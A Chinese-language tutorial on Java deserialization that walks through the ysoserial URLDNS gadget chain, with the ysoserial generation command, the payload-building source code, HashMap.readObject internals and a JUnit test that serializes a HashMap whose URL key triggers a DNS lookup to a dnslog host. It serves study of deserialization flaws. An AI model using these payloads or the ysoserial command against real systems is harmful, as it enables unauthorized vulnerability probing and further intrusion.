Java反序列化原理和URLDNS反序列化分析

Java反序列化漏洞的原理。

Java序列化和反序列化

Java序列化是将Java的数据和对象转换为字节流，反序列化则是将序列化后的字节流恢复为数据和对象。

如果想要序列化某个对象，则必须让对象所属的类机器属性是可序列化的，即必须实现如下两个接口之一：

Serializable
Externalizable

序列化可以使用ObjectOutputStream的writeObject方法来完成
反序列化可以使用ObjectInputStream的readObject方法来完成

// 序列化
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(new User());    // 序列化操作
objectOutputStream.flush();
objectOutputStream.close();
System.out.println(outputStream.toString());

// 反序列化
byte[] in = outputStream.toByteArray();
ByteArrayInputStream inputStream = new ByteArrayInputStream(in);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
Object o = objectInputStream.readObject();    // 反序列化操作
objectInputStream.close();
System.out.println(o);

在反序列化的时候，有如下要求：

被反序列化的类必须存在。
serialVersionUID值必须一致。serialVersionUID必须是public static final long

除此之外，反序列化的时候是不会调用类的构造方法的。

Java在序列化时一个对象，将会调用这个对象中的writeObject方法，参数类型是ObjectOutputStream，因此可以通过类重写writeObject方法来自定义序列化。同理，反序列化时，可以通过类重写readObject方法来自定义反序列化。

public class User implements Serializable {
    int age;
    private String name;
    public static final long serialVersionUID = 5454545454L;

    private void writeObject(ObjectOutputStream oos) throws IOException {
        oos.defaultWriteObject();   // 默认的序列化方式
        oos.writeObject("hello world");
    }

    @Serial
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();    // 默认的反序列化方式
        String message = (String) ois.readObject();
        System.out.println(message);
    }
}

ysoserial工具

ysoserial是一个反序列化payload生成工具，它可以让用户根据自己选择的利用链，生成反序列化利用数据，通过将这些数据发送给用户，从而执行用户预先定义的命令。

ysoserial工具的用法如下：

1	java -jar ysoserial-all.jar [payload] '[command]'

例如生成URLDNS的payload：

1	java -jar ysoserial-all.jar URLDNS http://urldns.4f4e4172.dns.1433.eu.org > urldns.txt

需要注意的是，windows不能在powershell中去执行，会输出错误的payload，要在cmd中去执行。

在生成了payload之后，进行如下测试：

@Test
public void test1() throws Exception {
    FileInputStream inputStream = new FileInputStream("urldns.txt");
    ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
    Object o = objectInputStream.readObject();
    objectInputStream.close();
    
}

执行即可发现进行了dns解析，dnslog平台有回显。

URLDNS反序列化分析

URLDNS是ysoserial中的一个利用链，其payload在生成时可以发起dns解析，通常用于检测是否存在反序列化漏洞，整个调用链使用Java内置的类构造，对第三方库没有依赖。

因为URLDNS调用链简单，所以很适合用来入门学习Java反序列化。

以下是ysoserial生成URLDNSpayload的代码

public class URLDNS implements ObjectPayload<Object> {
    public Object getObject(final String url) throws Exception {
        //Avoid DNS resolution during payload creation
        //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
        URLStreamHandler handler = new SilentURLStreamHandler();

        HashMap ht = new HashMap(); // HashMap that will contain the URL
        URL u = new URL(null, url, handler); // URL to use as the Key
        ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

        // During the put above, the URL's hashCode is calculated and cached. 
        // This resets that so the next time hashCode is called a DNS lookup will be triggered.
        Reflections.setFieldValue(u, "hashCode", -1); 
        return ht;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(URLDNS.class, args);
    }

    /**
    * 重写SilentURLStreamHandler类是为了避免创建URL对象的时候发出DNS请求
    */
static class SilentURLStreamHandler extends URLStreamHandler {
        protected URLConnection openConnection(URL u) throws IOException {
                return null;
        }
        protected synchronized InetAddress getHostAddress(URL u) {
                return null;
        }
    }
}

ysoserial会调用getObject方法获得Payload，这个方法返回的是一个对象，这个对象就是最后将被序列化的对象，在这里getObject方法返回一个HashMap对象。

因此，反序列化的时候就是调用的HashMap的readObject方法，其代码如下：

@java.io.Serial
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " + loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " + mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                    DEFAULT_INITIAL_CAPACITY :
                    (fc >= MAXIMUM_CAPACITY) ?
                    MAXIMUM_CAPACITY :
                    tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

根据ysoserial生成URLDNSpayload的代码中的注释，During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered，可以知道触发点在于readObject中的最后一行代码，在这里下断点，其中的key是URL对象

跟进hash函数，其会调用key的hashCode方法

继续跟进，由于URL对象的hashCode被设置为了-1，这里使用handler.hashCode对其重新计算。这里的handler是URLStreamHandler的实现子类

继续跟进，这里调用了一个getHostAddress方法，参数是最开始的URL对象

进入getHostAddress方法，可以看到调用了InetAddress.getByName方法，dns请求便是在此发出的。

因此，整个调用链为：

HashMap.readObject()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
InetAddress.getByName()

总观整个调用链，要到最后的InetAddress.getByName()方法，需要如下条件：

HashMap中元素的key需要是URL对象；
URl对象的hashCode属性需要是-1；

因此，就容易理解ysoserial生成payload的代码了。以下是此payload的另一种实现，原理相同：

import org.apache.commons.codec.binary.Base64;
import org.junit.Test;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;


@Test
public void test()  throws Exception {
    URL url = new URL("http://mydns.4f4e4172.dns.1433.eu.org");
    HashMap hashMap = new HashMap<>();
    hashMap.put(url, "");
    Class clazz = Class.forName("java.net.URL");
    Field hashCode = clazz.getDeclaredField("hashCode");
    hashCode.setAccessible(true);
    hashCode.set(url, -1);
    
    ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
    objectOutputStream.writeObject(hashMap);
    objectOutputStream.flush();
    objectOutputStream.close();

    System.out.println(Base64.encodeBase64String(outputStream.toByteArray()));
}

参考

P神的《Java安全漫谈》——反序列化篇
https://javasec.org/javase/JavaDeserialization/Serialization.html